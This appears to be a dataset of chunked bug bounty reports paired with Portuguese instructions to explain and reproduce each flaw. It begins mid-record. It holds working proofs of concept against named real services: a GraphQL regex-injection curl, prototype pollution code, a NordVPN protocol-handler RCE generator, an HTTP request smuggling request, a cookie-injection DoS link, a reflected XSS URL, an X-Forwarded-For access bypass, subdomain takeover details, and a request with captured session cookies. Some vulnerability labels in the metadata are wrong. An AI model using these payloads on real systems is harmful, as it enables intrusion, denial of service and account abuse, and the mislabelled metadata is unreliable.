\"endTi\n\n\"startTime\": \"2020-10-07T02:07:55.251Z\",\n \"endTime\": \"2020-10-07T02:07:55.516Z\",\n\nquery a { \n search(q: \"\\u0000)\", lang: \"en\") {\n _id\n weapon_id\n rarity\n collection{ _id name }\n collection_id \n }\n}\n\n{\n \"errors\": [\n {\n \"message\": \"value (?=.*\\u0000) must not contain null bytes\",\n \"locations\": [\n {\n \"line\": 2,\n \"column\": 3\n }\n ],\n \"path\": [\n \"search\"\n ],\n \"extensions\": {\n \"code\": \"INTERNAL_SERVER_ERROR\"\n }\n }\n ],\n....[Resumed]\n\nquery a { \n search(q: \"\\u0000)\", lang: \"en\") {\n _id\n weapon_id\n rarity\n collection{ _id name }\n collection_id \n }\n}\n\n{\n \"errors\": [\n {\n \"message\": \"Invalid regular expression: /(?=.*X))/: Unmatched ')'\",\n \"locations\": [\n {\n \"line\": 2,\n \"column\": 3\n }\n...[Resumed]\n\ncurl 'https://wiki.cs.money/graphql' \\ \n -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36' \\\n -H 'content-type: application/json' \\\n -H 'accept: */*' \\ \n --data-binary $'{\"query\":\"query a { \\\\n search(q: \\\\\"[a-zA-Z0-9]+\\\\\\\\\\\\\\\\s?)+$|^([a-zA-Z0-9.\\'\\\\\\\\\\\\\\\\w\\\\\\\\\\\\\\\\W]+\\\\\\\\\\\\\\\\s?)+$\\\\\\\\\\\\\\\\\\\\\", lang: \\\\\"en\\\\\") {\\\\n _id\\\\n weapon_id\\\\n rarity\\\\n collection{ _id name }\\\\n collection_id \\\\n \\\\n ", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,graphql", "technologies": "node,go,graphql", "chunk_type": "payload", "entry_index": 0}}, {"doc_id": "bb_method_1", "text": "- install `@firebase/util` module:\n - `npm i ``@firebase/util`\n\nRun the following poc:\n```javascript\nconst utils = require('@firebase/util');\n\nconst obj = {};\nconst source = JSON.parse('{\"__proto__\":{\"polluted\":\"yes\"}}');\nconsole.log(\"Before : \" + obj.polluted);\nutils.deepExtend({}, source);\n// utils.deepCopy(source);\nconsole.log(\"After : \" + obj.polluted);\n\n```\nOutput:\n```console\n\nBefore : undefined\nAfter : yes\n```\n{F1024346}", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,prototype_pollution", "technologies": "java", "chunk_type": "methodology", "entry_index": 1}}, {"doc_id": "bb_summary_1", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [@firebase/util] Prototype pollution\n\n### Passos para Reproduzir\n- install `@firebase/util` module:\n - `npm i ``@firebase/util`\n\nRun the following poc:\n```javascript\nconst utils = require('@firebase/util');\n\nconst obj = {};\nconst source = JSON.parse('{\"__proto__\":{\"polluted\":\"yes\"}}');\nconsole.log(\"Before : \" + obj.polluted);\nutils.deepExtend({}, source);\n// utils.deepCopy(source);\nconsole.log(\"After : \" + obj.polluted);\n\n```\nOutput:\n```console\n\nBefore : undefined\nAfter : yes\n```\n{F1024346}\n\n### Impacto\nThe impact depends on the \n\nImpact: The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,prototype_pollution", "technologies": "java", "chunk_type": "summary", "entry_index": 1}}, {"doc_id": "bb_payload_1", "text": "Vulnerability: rce\nTechnologies: java\n\nPayloads/PoC:\nconst utils = require('@firebase/util');\n\nconst obj = {};\nconst source = JSON.parse('{\"__proto__\":{\"polluted\":\"yes\"}}');\nconsole.log(\"Before : \" + obj.polluted);\nutils.deepExtend({}, source);\n// utils.deepCopy(source);\nconsole.log(\"After : \" + obj.polluted);\n\nBefore : undefined\nAfter : yes", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,prototype_pollution", "technologies": "java", "chunk_type": "payload", "entry_index": 1}}, {"doc_id": "bb_method_2", "text": "1. Create the malicious URL, the below is my script to generate the URL, it requires importing \"Newtonsoft.Json.dll\" and \"NordVpn.Core.dll\".\n\n ```csharp\n // Program.cs\n using System;\n using System.Collections.Generic;\n using NordVpn.Core.Tools;\n using NordVpn.Core.Models.ToastNotifications.Notifications;\n using System.Diagnostics;\n\n namespace ExploitApp\n {\n class Program\n {\n static void Main(string[] args)\n {\n Dictionary arguments = new Dictionary();\n arguments[\"OpenUrl\"] = \"calc.exe\";\n NotificationActionArgs toastArgs = new NotificationActionArgs(\"\", arguments);\n String exploit = ObjectCompressor.CompressObject(toastArgs);\n Console.Write(String.Format(\"NordVPN.Notification:{0}\", exploit));\n Console.ReadKey();\n }\n }\n }\n ```\n\n 2. Add the URL into a html file with iframe tag, then serves it on HTTP server.\n\n ```html\n \n \n \n \n \n \n Exploit\n \n \n \n \n \n ```\n\n 3. Open the html file in the browser. Modern web browser may popup a window to confirm to open NordVPN.exe, if we choose \"Open NordVPN\", the command will be executed and popup a calc.exe.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "methodology", "entry_index": 2}}, {"doc_id": "bb_summary_2", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Possible RCE through Windows Custom Protocol on Windows client\n\nThe NordVPN windows client application registered two custom protocols **NordVPN:** and **NordVPN.Notification:** for process communication. This makes us are able to communicate with NordVPN.exe from web browser.\nAfter looking the executable binary, I noticed the class **NordVpn.Views.ToastNotifications.ListenNotificationOpenUrl** eventually calls function **Process.Start** with controllable argument, and this notification can be triggered through custom protocol **NordVPN.Notification:**. \nSo it's possible to execute arbitrary system command from web browser.\n\nImpact: Possible to execute system command on victim's computer and take control of the computer.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "summary", "entry_index": 2}}, {"doc_id": "bb_payload_2", "text": "Vulnerability: rce\nTechnologies: \n\nPayloads/PoC:\n// Program.cs\n using System;\n using System.Collections.Generic;\n using NordVpn.Core.Tools;\n using NordVpn.Core.Models.ToastNotifications.Notifications;\n using System.Diagnostics;\n\n namespace ExploitApp\n {\n class Program\n {\n static void Main(string[] args)\n {\n Dictionary arguments = new Dictionary();\n arguments[\"OpenUrl\"] = \"calc.exe\";\n NotificationActionArgs toast\n\n\n \n \n \n \n \n Exploit\n \n \n \n \n ", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "payload", "entry_index": 2}}, {"doc_id": "bb_method_3", "text": "for example, using haproxy to make TE-TE attack:\n\nhaproxy 1.5.3 version haproxy.cfg\nhaproxy.cfg forbid access `/flag` URI\n```\nglobal\n daemon\n maxconn 256\n\ndefaults\n mode http\n timeout connect 5000ms\n timeout client 50000ms\n timeout server 50000ms\n\nfrontend http-in\n bind *:80\n default_backend servers\n acl url_403 path_beg -i /flag\n http-request deny if url_403\n\nbackend servers\n server server1 127.0.0.1:8080 maxconn 32\n```\n\napp.js\n```\nvar express = require('express');\nvar app = express();\nvar bodyParser = require('body-parser')\n\napp.use(bodyParser())\n\napp.get('/', function (req, res) {\n res.send('Hello World!');\n});\n\napp.get('/flag', function (req, res) {\n res.send('flag is 1a2b3c4d5e6f');\n});\n\napp.post('/', function (req, res) {\n res.send('Hello World!');\n});\n\napp.listen(8080, function () {\n console.log('Example app listening on port 8080!');\n});\n```\n\nuse this http request can bypass haproxy `/flag` restrict\n```\nPOST / HTTP/1.1\nHost: 127.0.0.1\nTransfer-Encoding: chunked\nTransfer-Encoding: chunked-false\n\n1\nA\n0\n\nGET /flag HTTP/1.1\nHost: 127.0.0.1\nfoo: x\n\n\n```", "metadata": {"source_type": "bug_bounty", "vuln_type": "request_smuggling", "vuln_types": "request_smuggling", "technologies": "node", "chunk_type": "methodology", "entry_index": 3}}, {"doc_id": "bb_summary_3", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Potential HTTP Request Smuggling in nodejs\n\n### Passos para Reproduzir\nfor example, using haproxy to make TE-TE attack:\n\nhaproxy 1.5.3 version haproxy.cfg\nhaproxy.cfg forbid access `/flag` URI\n```\nglobal\n daemon\n maxconn 256\n\ndefaults\n mode http\n timeout connect 5000ms\n timeout client 50000ms\n timeout server 50000ms\n\nfrontend http-in\n bind *:80\n default_backend servers\n acl url_403 path_beg -i /flag\n http-request deny if url_403\n\nbackend servers\n server server1 127.0.0.1:8080 maxconn 32\n```\n\napp.js\n```\nvar express = require('express');\nva\n\nImpact: : \nIt is possible to smuggle the request and disrupt the user experience.", "metadata": {"source_type": "bug_bounty", "vuln_type": "request_smuggling", "vuln_types": "request_smuggling", "technologies": "node", "chunk_type": "summary", "entry_index": 3}}, {"doc_id": "bb_payload_3", "text": "Vulnerability: request_smuggling\nTechnologies: node\n\nPayloads/PoC:\nglobal\n daemon\n maxconn 256\n\ndefaults\n mode http\n timeout connect 5000ms\n timeout client 50000ms\n timeout server 50000ms\n\nfrontend http-in\n bind *:80\n default_backend servers\n acl url_403 path_beg -i /flag\n http-request deny if url_403\n\nbackend servers\n server server1 127.0.0.1:8080 maxconn 32\n\nvar express = require('express');\nvar app = express();\nvar bodyParser = require('body-parser')\n\napp.use(bodyParser())\n\napp.get('/', function (req, res) {\n res.send('Hello World!');\n});\n\napp.get('/flag', function (req, res) {\n res.send('flag is 1a2b3c4d5e6f');\n});\n\napp.post('/', function (req, res) {\n res.send('Hello World!');\n});\n\napp.listen(8080, function () {\n console.log('Example app listening on port 8080!');\n});\n\nPOST / HTTP/1.1\nHost: 127.0.0.1\nTransfer-Encoding: chunked\nTransfer-Encoding: chunked-false\n\n1\nA\n0\n\nGET /flag HTTP/1.1\nHost: 127.0.0.1\nfoo: x", "metadata": {"source_type": "bug_bounty", "vuln_type": "request_smuggling", "vuln_types": "request_smuggling", "technologies": "node", "chunk_type": "payload", "entry_index": 3}}, {"doc_id": "bb_method_4", "text": "1- Login to your account via [Login page](https://hosted.weblate.org/accounts/login/)\n2- Click on CSRF.html that attached. \nAfter that, you will redirect to a new page an see the error, the user after clicking on this file log out from account.\n\nYou can see in the CSRF file there isn't any token, but if you place a vaid CSRF token from the source page, this attack will be successful too.\n\n{F1029164}\n\nIf you have any questions, please let me know.\n\nBest.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,csrf,open_redirect", "technologies": "go", "chunk_type": "methodology", "entry_index": 4}}, {"doc_id": "bb_summary_4", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Send Empty CSRF leads to log out user on [https://hosted.weblate.org/accounts/profile]\n\n### Passos para Reproduzir\n1- Login to your account via [Login page](https://hosted.weblate.org/accounts/login/)\n2- Click on CSRF.html that attached. \nAfter that, you will redirect to a new page an see the error, the user after clicking on this file log out from account.\n\nYou can see in the CSRF file there isn't any token, but if you place a vaid CSRF token from the source page, this attack will be successful too.\n\n{F1029164}\n\nIf you have any questions, please let me know.\n\nBest.\n\n### Impacto\nAn\n\nImpact: An attacker can send the CSRF file to the victim or host it on a website. Whenever the user login in to your website click on file or link will be logged out.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,csrf,open_redirect", "technologies": "go", "chunk_type": "summary", "entry_index": 4}}, {"doc_id": "bb_summary_5", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: CVE-2020-14179 on https://jira.theendlessweb.com/secure/QueryComponent!Default.jspa leads to information disclosure\n\nthe Jira instance on jira.theendlessweb.com is vulnerable to CVE-2020-14179 which allows remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability\n\n{F1029731}\n\nImpact: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.", "metadata": {"source_type": "bug_bounty", "vuln_type": "information_disclosure", "vuln_types": "information_disclosure", "technologies": "", "chunk_type": "summary", "entry_index": 5}}, {"doc_id": "bb_method_6", "text": "1. Login at https://www.tumblr.com/\n\n2. Go to https://www.tumblr.com/oauth/apps and create a random application\n\n/!\\ if the cookies \"oa-consumer_key\" && \"oa_consumer_secret\" already exist the attack doesn't work /!\\\n\n3. After, create your application, click to this malicious following link \n```\nhttps://api.tumblr.com/console/auth?consumer_key=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000&consumer_secret=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000\n```\n\n4. Go back to https://www.tumblr.com/oauth/apps and try to connect to api.tumblr.com by clicking in \"Explore API\".\nYou will be redirected to https://www.tumblr.com/oauth/authorize?oauth_token=*&source=console and click to authorize\n\n5. loggout and login at tumblr.com\n\n6. Try again to connect to your application\n\nYou can follow me in the video POC.\n\nThanks, good bye.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,open_redirect", "technologies": "go", "chunk_type": "methodology", "entry_index": 6}}, {"doc_id": "bb_summary_6", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [api.tumblr.com] Denial of Service by cookies manipulation\n\nI have found at api.tumblr.com two parameters ```consumer_key ``` && ```consumer_secret``` allow to modify ```oa-consumer_key``` && ```oa_consumer_secret``` cookies values and property.\n\nAn attacker can send a malicious link to reset the cookies of api.tumblr.com, this lead to DOS.\nTo trigger the DOS, the target/victim account need to click a malicious link.\n\nTo restore the account, the victim need to delete all cookies on api.tumblr.com.\n\nSimilar issues : https://hackerone.com/reports/583819", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,open_redirect", "technologies": "go", "chunk_type": "summary", "entry_index": 6}}, {"doc_id": "bb_payload_6", "text": "Vulnerability: rce\nTechnologies: go\n\nPayloads/PoC:\nhttps://api.tumblr.com/console/auth?consumer_key=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000&consumer_secret=x;%20domain=tumblr.com;%20Max-Age=1000000000000000000000", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,open_redirect", "technologies": "go", "chunk_type": "payload", "entry_index": 6}}, {"doc_id": "bb_method_7", "text": "1. Create two account User A, User B at https://en.instagram-brand.com/\n2. Apply for Instagram brand from https://en.instagram-brand.com/requests/dashboard by User A\n3. Login to user B and intercept the request\n\n4.Send a post request with cookie and other header got by intercepting user B in the below endpoint and replace comment 44799 with User A support ticket id \nPOST /wp-json/brc/v1/approval-requests/44799/comments HTTP/1.1\ntext=sure thanks&files=1597287925578-44741-%3Etest.jpg&sizes=4249", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "go", "chunk_type": "methodology", "entry_index": 7}}, {"doc_id": "bb_summary_7", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Able to comment/view in others support ticket at https://en.instagram-brand.com/requests/dashboard\n\nI reported the vulnerability to Facebook, and they have said to report it here for the bounty.\n\nImpact: 1) can comment in other's support ticket\n2) can view other's support ticket comments (Both Instagram as well as user's)", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "go", "chunk_type": "summary", "entry_index": 7}}, {"doc_id": "bb_method_8", "text": "XSS\n- use a proxy like burp suite and turn intercept on\n- upload a file to the support chat\n- change the filename to \\\">\n\n \n\n \n\n \n\n
\n\n \n\n \n\n
\n\n \n\n\n```\n3) Go to https://www.tumblr.com/settings/account and you will see the keyword ```pwd777``` in your filtered content .\n\n/!\\ You can't add a same filtered content this will generate a 400 HTTP Response code /!\\\n\nYou can follow me in the video POC.\n\nThanks, good bye.", "metadata": {"source_type": "bug_bounty", "vuln_type": "csrf", "vuln_types": "csrf", "technologies": "go", "chunk_type": "methodology", "entry_index": 9}}, {"doc_id": "bb_summary_9", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [tumblr.com] CSRF in /svc/user/filtered_content\n\nHello, I have found a Cross-site request forgery in ``https://tumblr.com/svc/user/filtered_content``` allow an attacker to add filtered content to a target/victim account.\n\nThe custom HTTP Header ```X-tumblr-form-key ``` used for the protection CSRF is not validate.\n\nImpact: Allow a attacker add filtered content to a target/victim account.", "metadata": {"source_type": "bug_bounty", "vuln_type": "csrf", "vuln_types": "csrf", "technologies": "go", "chunk_type": "summary", "entry_index": 9}}, {"doc_id": "bb_payload_9", "text": "Vulnerability: csrf\nTechnologies: go\n\nPayloads/PoC:\n\n\n \n\n \n\n \n\n
\n\n \n\n \n\n
\n\n \n\n\n\nhtml\n\n\n\n \n\n \n\n \n\n
\n\n \n\n \n\n
\n\n \n\n\n", "metadata": {"source_type": "bug_bounty", "vuln_type": "csrf", "vuln_types": "csrf", "technologies": "go", "chunk_type": "payload", "entry_index": 9}}, {"doc_id": "bb_method_10", "text": "POC1:\n```\n\u279c /tmp curl -k https://biz-app.yelp.com/status \n\n{\"error\": {\"id\": \"PredicateMismatch\"}}% \n\u279c /tmp curl -k https://biz-app.yelp.com/status -H \"X-Forwarded-For: 127.0.0.1\"\n\n{\"host\": \"biz--app-main--useast1-74dd77b89b-fgtdk\", \"health\": {}, \"mem_vsz\": 1111.61328125, \"mem_rss\": 410.0, \"pid\": 91941, \"uptime\": 178784.86051034927, \"version\": null}\n```\n\nPOC2:\n```\n\u279c /tmp curl -k https://biz-app.yelp.com/swagger.json \n{\"error\": {\"id\": \"HTTPNotFound\"}}% \n\u279c /tmp curl -k https://biz-app.yelp.com/swagger.json -H \"X-Forwarded-For: 127.0.0.1\" \n\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 [...]\n```\n\nThe responding server thinks, it is accessed by an internal IP as can be seen in the headers:\n```\nHTTP/1.1 200 OK\nConnection: close\nserver: openresty/1.13.6.2\ncontent-type: application/json\nx-b3-sampled: 0\nx-is-internal-ip-address: true\nx-zipkin-id: 2fce61c10ade1e32\nx-routing-service: routing-main--useast1-d84b86b87-cwstn; site=biz_app\nx-mode: ro\nx-proxied: 10-65-64-83-useast1aprod\nx-extlb: 10-65-64-83-useast1aprod\nAccept-Ranges: bytes\nDate: Mon, 19 Oct 2020 12:21:19 GMT\nVia: 1.1 varnish\nX-Served-By: cache-hhn4033-HHN\nX-Cache: MISS\nX-Cache-Hits: 0\nCon", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "methodology", "entry_index": 10}}, {"doc_id": "bb_summary_10", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: X-Forward-For Header allows to bypass access restrictions\n\nIf the \"X-Forward-For: 127.0.0.1\" header is used, it allows to bypass restrictions of the web application and access endpoints that are restricted otherwise. This allows for example to access the \"Business Owner App backend API\". The responding server thinks, he is accessed by an internal IP.\n\nImpact: As the attacker is seen as having an internal IP he is able to access resources which should otherwise be restricted for him.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "summary", "entry_index": 10}}, {"doc_id": "bb_payload_10", "text": "Vulnerability: rce\nTechnologies: \n\nPayloads/PoC:\n\u279c /tmp curl -k https://biz-app.yelp.com/status \n\n{\"error\": {\"id\": \"PredicateMismatch\"}}% \n\u279c /tmp curl -k https://biz-app.yelp.com/status -H \"X-Forwarded-For: 127.0.0.1\"\n\n{\"host\": \"biz--app-main--useast1-74dd77b89b-fgtdk\", \"health\": {}, \"mem_vsz\": 1111.61328125, \"mem_rss\": 410.0, \"pid\": 91941, \"uptime\": 178784.86051034927, \"version\": nu\n\n\u279c /tmp curl -k https://biz-app.yelp.com/swagger.json \n{\"error\": {\"id\": \"HTTPNotFound\"}}% \n\u279c /tmp curl -k https://biz-app.yelp.com/swagger.json -H \"X-Forwarded-Fo\n\nHTTP/1.1 200 OK\nConnection: close\nserver: openresty/1.13.6.2\ncontent-type: application/json\nx-b3-sampled: 0\nx-is-internal-ip-address: true\nx-zipkin-id: 2fce61c10ade1e32\nx-routing-service: routing-main--useast1-d84b86b87-cwstn; site=biz_app\nx-mode: ro\nx-proxied: 10-65-64-83-useast1aprod\nx-extlb: 10-65-64-83-useast1aprod\nAccept-Ranges: bytes\nDate: Mon, 19 Oct 2020 12:21:19 GMT\nVia: 1.1 varnish\nX-Served-By: cache-hhn4033-HHN\nX-Cache: MISS\nX-Cache-Hits: 0\nContent-Length: 573093", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "payload", "entry_index": 10}}, {"doc_id": "bb_method_11", "text": "1. Navigate to https://www.glassdoor.co.in/FAQ/Microsoft-Question-FAQ200086-E1651.htm?countryRedirect=true\n 2. input the payload inside path.\n\n 3.Open this url: https://www.glassdoor.co.in/FAQ/Mic%22%3e%3cimg%20onerro%3d%3e%3cimg%20src%3dx%20onerror%3dalert%601%60%3e\nrosoft-Question-FAQ200086-E1651.htm?countryRedirect=true\n\n An alert will be popped up.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,open_redirect", "technologies": "", "chunk_type": "methodology", "entry_index": 11}}, {"doc_id": "bb_summary_11", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Reflected XSS at https://www.glassdoor.co.in/FAQ/Microsoft-Question-FAQ200086-E1651.htm?countryRedirect=true via PATH\n\n### Passos para Reproduzir\n1. Navigate to https://www.glassdoor.co.in/FAQ/Microsoft-Question-FAQ200086-E1651.htm?countryRedirect=true\n 2. input the payload inside path.\n\n 3.Open this url: https://www.glassdoor.co.in/FAQ/Mic%22%3e%3cimg%20onerro%3d%3e%3cimg%20src%3dx%20onerror%3dalert%601%60%3e\nrosoft-Question-FAQ200086-E1651.htm?countryRedirect=true\n\n An alert will be popped up.\n\n### Impacto\nUsing XSS an attacker can steals the victim cookie and can also redirect him to a malicious site contr\n\nImpact: Using XSS an attacker can steals the victim cookie and can also redirect him to a malicious site controlled by the attacker.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,open_redirect", "technologies": "", "chunk_type": "summary", "entry_index": 11}}, {"doc_id": "bb_summary_12", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: CSRF to account takeover in https://\u2588\u2588\u2588\u2588\u2588/\n\nThere is no protection against CSRF in changing email which lead to CSRF to account takeover on https://\u2588\u2588\u2588\u2588\u2588\u2588/.\n\nImpact: It is a critical issue as i was able to takeover anyone account using this attack. This vulnerability is high/critical because I was able to perform account takeover", "metadata": {"source_type": "bug_bounty", "vuln_type": "csrf", "vuln_types": "csrf", "technologies": "go", "chunk_type": "summary", "entry_index": 12}}, {"doc_id": "bb_method_13", "text": "```\nnslookup register.acronis.com\nNon-authoritative answer:\nName: sjh.mktossl.com\nAddresses:104.17.74.206\n 104.17.72.206\n 104.17.70.206\n 104.17.73.206\n 104.17.71.206\nAliases: register.acronis.com\n acronis.mktoweb.com\n\nnslookup promo.acronis.com\nNon-authoritative answer:\nName: sjh.mktossl.com\nAddresses: 104.17.71.206\n 104.17.70.206\n 104.17.74.206\n 104.17.72.206\n 104.17.73.206\nAliases: promo.acronis.com\n acronis.mktoweb.com\n\n```\n\nCNAMES entries to corresponding domains are as:\n```\npromo.acronis.com acronis.mktoweb.com\npromosandbox.acronis.com acronissandbox2.mktoweb.com\nregister.acronis.com acronis.mktoweb.com\ninfo.acronis.com \t mkto-h0084.com\n```\n\nAs register.acronis.com and promo.acronis.com pointing to CNAME record as acronis.mktoweb.com and are aliases to acronis.mktoweb.com . http://acronis.mktoweb.com/ is giving 404, page not found with message \"The requested URL was not found on this server\" which can be claimed by anyone now and would result in subdomain takeover.\n\nThe marketo document to Customize Your Landing Page URLs with a CNAME\nhttps://docs.marketo.com/display/public/DOCS/Customize+Your+Landing+Page+URLs+with+a+CNAME\n\n**As marketo is a paid service and offers account for marketing automation, I don't have a registered account. \nI wrote to Marketo technical support team and they claim the availability of listed domains as the listed domains are not in use or configured anymore.**", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce,auth_bypass,cors,subdomain_takeover", "technologies": "go,nginx", "chunk_type": "methodology", "entry_index": 13}}, {"doc_id": "bb_summary_13", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Subdomains takeover of register.acronis.com, promo.acronis.com, info.acronis.com and promosandbox.acronis.com\n\nThe Subdomains https://register.acronis.com, https://promo.acronis.com, https://info.acronis.com and https://promosandbox.acronis.com \nare vulnerable to takeover due to unclaimed marketo CNAME records. Anyone is able to own these subdomains at the moment.\n\nThis vulnerability is called subdomain takeover. You can read more about it here:\n\n https://blog.sweepatic.com/subdomain-takeover-principles/\n https://hackerone.com/reports/32825\n https://hackerone.com/reports/779442\t\n https://hackerone.com/reports/175070\n\nImpact: With this, I can clearly see XSS impact in your case. Please have a look at your /v2/account request intercepted below:\nRequest:\n```\nPUT /v2/account HTTP/1.1\nHost: account.acronis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nContent-Length: 702\nOrigin: https://register.acronis.com\nConnection: close\nReferer: https://account.acronis.com/\nCookie: _gcl_au=1.1.36144172.1601449011; _ga=GA1.2.1290766356.1601449012; _fbp=fb.1.1601449012432.633797135; _hjid=a7dd36be-ea53-40b1-b04e-c2a96f5ebc3c; optimizelyEndUserId=oeu1601449014822r0.42778295429069313; OptanonConsent=isIABGlobal=false&datestamp=Mon+Oct+26+2020+16%3A35%3A28+GMT%2B0530+(India+Standard+Time)&version=6.6.0&hosts=&consentId=07081eac-3ae3-443d-8451-79f5327d9351&interactionCount=1&landingPath=NotLandingPage&groups=C0001%3A1%2CC0004%3A1%2CC0003%3A1%2CC0002%3A1&AwaitingReconsent=false&geolocation=IN%3BHR; _mkto_trk=id:929-HVV-335&token:_mch-acronis.com-1601449020651-40834; OptanonAlertBoxClosed=2020-10-26T11:05:28.204Z; visid_incap_1638029=Bol4fqOiQTKxMXB55rfSHvSPlF8AAAAAQUIPAAAAAACe+MbhqMW1sJI4dpZBH6DI; _hjTLDTest=1; nlbi_1638029=ibxAVmtdEHzy/Y9u+BxnEAAAAAB308NLs7A3ARoQwyk4Cyrg; incap_ses_745_1638029=ddKxJtFthhy2IeNut8VWCvWPlF8AAAAACuwA/vpt+9dXQmj6hoxBWQ==; _gid=GA1.2.639811834.1603690260; _gac_UA-149943-47=1.1603691724.Cj0KCQjwxNT8BRD9ARIsAJ8S5xZC0_Hlxu0wgG7xA0-jU5eIi2BxoGFsRealW_kNcbHRyB_H8h3z-y0aAjFAEALw_wcB; AcronisSID.en=8a4d91ace2ecadca23dda91cdcb5abc5; AcronisUID.en=1438137573; _hjAbsoluteSessionInProgress=1; _uetsid=6d516b50174c11eb8ef2b18637bee740; _uetvid=b490e7509541648c67826dc18a0c7c46; _gat_UA-149943-47=1\n```\n\nResponse:\n```\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 26 Oct 2020 11:59:18 GMT\nContent-Type: application/json\nConnection: close\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-ch", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce,auth_bypass,cors,subdomain_takeover", "technologies": "go,nginx", "chunk_type": "summary", "entry_index": 13}}, {"doc_id": "bb_payload_13", "text": "Vulnerability: xss\nTechnologies: go, nginx\n\nPayloads/PoC:\nnslookup register.acronis.com\nNon-authoritative answer:\nName: sjh.mktossl.com\nAddresses:104.17.74.206\n 104.17.72.206\n 104.17.70.206\n 104.17.73.206\n 104.17.71.206\nAliases: register.acronis.com\n acronis.mktoweb.com\n\nnslookup promo.acronis.com\nNon-authoritative answer:\nName: sjh.mktossl.com\nAddresses: 104.17.71.206\n 104.17.70.206\n 104.17.74.206\n 104.17.72.206\n 104.17.73.206\nAliases: promo.acronis.com\n ac\n\npromo.acronis.com acronis.mktoweb.com\npromosandbox.acronis.com acronissandbox2.mktoweb.com\nregister.acronis.com acronis.mktoweb.com\ninfo.acronis.com \t mkto-h0084.com\n\nPUT /v2/account HTTP/1.1\nHost: account.acronis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nContent-Length: 702\nOrigin: https://register.acronis.com\nConnection: close\nReferer: https://account.acronis.com/\nCookie: _gcl_au=1.1.36144172.1601449011; _ga=GA1.2.1290766356.1601449012; _fbp=fb.1.16014490124\n\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 26 Oct 2020 11:59:18 GMT\nContent-Type: application/json\nConnection: close\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\npragma: no-cache\nexpires: -1\nX-RateLimit-Limit: 100\nX-RateLimit-Remaining: 